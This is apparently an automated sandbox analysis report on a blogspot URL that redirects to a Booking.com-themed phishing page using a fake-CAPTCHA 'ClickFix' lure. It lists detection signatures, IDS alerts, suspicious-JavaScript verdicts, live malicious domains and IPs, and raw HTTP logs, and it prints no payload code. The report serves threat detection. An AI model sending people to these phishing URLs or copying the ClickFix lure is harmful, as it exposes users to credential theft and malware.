Edit tour

Windows Analysis Report
https://rinderynitvye.blogspot.com/

Overview

General Information

Sample URL:	https://rinderynitvye.blogspot.com/
Analysis ID:	1586436
Infos:

Detection

CAPTCHA Scam ClickFix, Phisher

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Detect drive by download via clipboard copy & paste

Suricata IDS alerts for network traffic

Yara detected CAPTCHA Scam ClickFix

Yara detected Phisher

AI detected suspicious Javascript

HTML page contains hidden javascript code

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 4152 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 4300 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1984,i,12208104453667308307,62760475673226430,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 6576 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://rinderynitvye.blogspot.com/" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author
dropped/chromecache_76	JoeSecurity_Phisher_1	Yara detected Phisher	Joe Security
dropped/chromecache_85	JoeSecurity_Phisher_1	Yara detected Phisher	Joe Security
dropped/chromecache_88	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

HTML

Source	Rule	Description	Author	Strings
4.6.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
4.5.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

Suricata Signatures

ETPRO EXPLOIT_KIT 404 TDS Redirect

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T05:14:04.826986+0100	2853110	1	A Network Trojan was detected	193.3.19.74	443	192.168.2.17	49706	TCP
2025-01-09T05:14:05.084010+0100	2853110	1	A Network Trojan was detected	193.3.19.74	443	192.168.2.17	49705	TCP

ETPRO MALWARE Observed ClickFix Powershell Delivery Page Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T05:14:32.040801+0100	2859486	1	A Network Trojan was detected	188.114.97.3	443	192.168.2.17	49755	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://admin.recaptcha-extranet.com/sign-in?op_token=hBHCGxejWNfkJKDXTdmOIDAeiDsgWkUkMdsZbJFrpptqaHrvPiEGOseMbwkAyDPWImqWBepiLwXnidRgNzZXcmtyZnjfVPYeVENlyfpOzDSjiHSlRWXaqQOVaExuHLIIAcPYgYIOvUkvCIlbMJxjxNcshYFhzscjPiRtvuAORLdyzXkJxNqjqnaAiYCeyJhdXRoX2F0dHJpYnV0ZXMiOnsiaXRlbUlkIjoibUZ0UUJIQXYiLCJ3b3JrZXJJZCI6NzczNTQwNTMzN319_mFtQBHAv	Joe Sandbox AI: Score: 9 Reasons: The brand 'Booking.com' is well-known and its legitimate domain is 'booking.com'., The provided URL 'admin.recaptcha-extranet.com' does not match the legitimate domain of Booking.com., The URL contains suspicious elements such as 'recaptcha-extranet', which are not typically associated with Booking.com., The use of 'admin' as a subdomain can be a tactic used in phishing to mimic administrative or secure access., The domain 'recaptcha-extranet.com' does not have any known association with Booking.com. DOM: 4.5.pages.csv
Source: https://admin.recaptcha-extranet.com/sign-in?op_token=hBHCGxejWNfkJKDXTdmOIDAeiDsgWkUkMdsZbJFrpptqaHrvPiEGOseMbwkAyDPWImqWBepiLwXnidRgNzZXcmtyZnjfVPYeVENlyfpOzDSjiHSlRWXaqQOVaExuHLIIAcPYgYIOvUkvCIlbMJxjxNcshYFhzscjPiRtvuAORLdyzXkJxNqjqnaAiYCeyJhdXRoX2F0dHJpYnV0ZXMiOnsiaXRlbUlkIjoibUZ0UUJIQXYiLCJ3b3JrZXJJZCI6NzczNTQwNTMzN319_mFtQBHAv	Joe Sandbox AI: Score: 9 Reasons: The brand 'Booking.com' is well-known and its legitimate domain is 'booking.com'., The URL 'admin.recaptcha-extranet.com' does not match the legitimate domain of Booking.com., The domain 'recaptcha-extranet.com' is suspicious as it does not relate to Booking.com and uses a hyphen, which is a common tactic in phishing URLs., The use of 'admin' as a subdomain can be misleading and is often used in phishing attempts to imply a secure or official page., There is no direct association between the brand Booking.com and the domain 'recaptcha-extranet.com'. DOM: 4.6.pages.csv

Yara detected CAPTCHA Scam ClickFix

Source: Yara match	File source: 4.6.pages.csv, type: HTML
Source: Yara match	File source: 4.5.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_88, type: DROPPED

Yara detected Phisher

Source: Yara match	File source: dropped/chromecache_76, type: DROPPED
Source: Yara match	File source: dropped/chromecache_85, type: DROPPED

AI detected suspicious Javascript

Source: 0.13.i.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://admin.recaptcha-extranet.com/sign-in?op_to... The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and interaction with suspicious domains. While the intent may be to handle a CAPTCHA verification process, the implementation raises security concerns.
Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://admin.recaptcha-extranet.com/confirm/login... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The heavily obfuscated code and use of multiple fallback domains further increase the risk. While the script may have a legitimate purpose, the overall behavior is highly suspicious and indicative of malicious intent.
Source: 0.10.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://admin.recaptcha-extranet.com/confirm/login... The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution and data exfiltration. It extracts a 'customTag' value from the URL, constructs a new URL with an 'op_token' parameter, and then replaces the current URL in the browser's history. This behavior is highly suspicious and could be indicative of a malicious script attempting to redirect the user to a potentially malicious sign-in page or perform other unauthorized actions.

Source: https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv

HTTP Parser: Base64 decoded: <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" fill="none"><path fill="#B20F03" d="M16 3a13 13 0 1 0 13 13A13.015 13.015 0 0 0 16 3m0 24a11 11 0 1 1 11-11 11.01 11.01 0 0 1-11 11"/><path fill="#B20F03" d="M17.038 18.615H14.87L14.563 9.5h2....

Source: https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv	HTTP Parser: No favicon
Source: https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv	HTTP Parser: No favicon
Source: https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv	HTTP Parser: No favicon

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2853110 - Severity 1 - ETPRO EXPLOIT_KIT 404 TDS Redirect : 193.3.19.74:443 -> 192.168.2.17:49705
Source: Network traffic	Suricata IDS: 2853110 - Severity 1 - ETPRO EXPLOIT_KIT 404 TDS Redirect : 193.3.19.74:443 -> 192.168.2.17:49706
Source: Network traffic	Suricata IDS: 2859486 - Severity 1 - ETPRO MALWARE Observed ClickFix Powershell Delivery Page Inbound : 188.114.97.3:443 -> 192.168.2.17:49755

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: rinderynitvye.blogspot.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /zse8l? HTTP/1.1Host: enterawesome.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://rinderynitvye.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: enterawesome.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://enterawesome.com/zse8l?Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /confirm/login/mFtQBHAv HTTP/1.1Host: admin.recaptcha-extranet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://enterawesome.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /confirm/login/mFtQBHAv HTTP/1.1Host: admin.recaptcha-extranet.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://enterawesome.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=8ff1993789555e6a HTTP/1.1Host: admin.recaptcha-extranet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv?__cf_chl_rt_tk=XmZ61HcTXxWgS9FB6_jERW4_eC8uwClc5u2cJS5BYus-1736396046-1.0.1.1-hjgrT3tu15oFH5NtShKSeKsY80XhIUGczR903bwPwqMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/849bfe45bf45/api.js?onload=FirmE4&render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://admin.recaptcha-extranet.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=8ff1993789555e6a HTTP/1.1Host: admin.recaptcha-extranet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: admin.recaptcha-extranet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAvAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/849bfe45bf45/api.js?onload=FirmE4&render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/awf7c/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/180720004:1736393476:mFG7POtOgDgLe5kGWxPY11WtzEbgsb56QEWrIXCnj-A/8ff1993789555e6a/x4hCD.qJP5qxPdpdOpgfPkMegImKGSvGl.Hl3t88agM-1736396046-1.2.1.1-zQKWPrKW7XXEt8HyHQm82ItiIzFuITEuolp7cLgKefGI_UykmYqemjR69M5jLpvZ HTTP/1.1Host: admin.recaptcha-extranet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ff1994b58e44369&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/awf7c/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/awf7c/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ff1994b58e44369&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/481282651:1736393486:Bp3x-n9pI2ebSXOZGUuODS5EUk23AO1LxnyuD7yebjE/8ff1994b58e44369/5Hn1EFQMhBtWWaDTa0E5mNjKaFKj2zSKJfLTWXtOSys-1736396049-1.1.1.1-DjpU8zSupjPbmqBS0xgSv0sAoBT2U8YVRjHrYyWLEV3Z9cmO5hnpMr8xYnVnryD1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8ff1994b58e44369/1736396050753/J7Y4VssUuVn_wak HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/awf7c/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8ff1994b58e44369/1736396050753/J7Y4VssUuVn_wak HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8ff1994b58e44369/1736396050760/a2a7d075c361685e67fa6a04dd45d906cbe3c4b88b97c6589b1bb9289a186291/MAZUVwSCCBdPEw7 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/awf7c/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/481282651:1736393486:Bp3x-n9pI2ebSXOZGUuODS5EUk23AO1LxnyuD7yebjE/8ff1994b58e44369/5Hn1EFQMhBtWWaDTa0E5mNjKaFKj2zSKJfLTWXtOSys-1736396049-1.1.1.1-DjpU8zSupjPbmqBS0xgSv0sAoBT2U8YVRjHrYyWLEV3Z9cmO5hnpMr8xYnVnryD1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/481282651:1736393486:Bp3x-n9pI2ebSXOZGUuODS5EUk23AO1LxnyuD7yebjE/8ff1994b58e44369/5Hn1EFQMhBtWWaDTa0E5mNjKaFKj2zSKJfLTWXtOSys-1736396049-1.1.1.1-DjpU8zSupjPbmqBS0xgSv0sAoBT2U8YVRjHrYyWLEV3Z9cmO5hnpMr8xYnVnryD1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/180720004:1736393476:mFG7POtOgDgLe5kGWxPY11WtzEbgsb56QEWrIXCnj-A/8ff1993789555e6a/x4hCD.qJP5qxPdpdOpgfPkMegImKGSvGl.Hl3t88agM-1736396046-1.2.1.1-zQKWPrKW7XXEt8HyHQm82ItiIzFuITEuolp7cLgKefGI_UykmYqemjR69M5jLpvZ HTTP/1.1Host: admin.recaptcha-extranet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
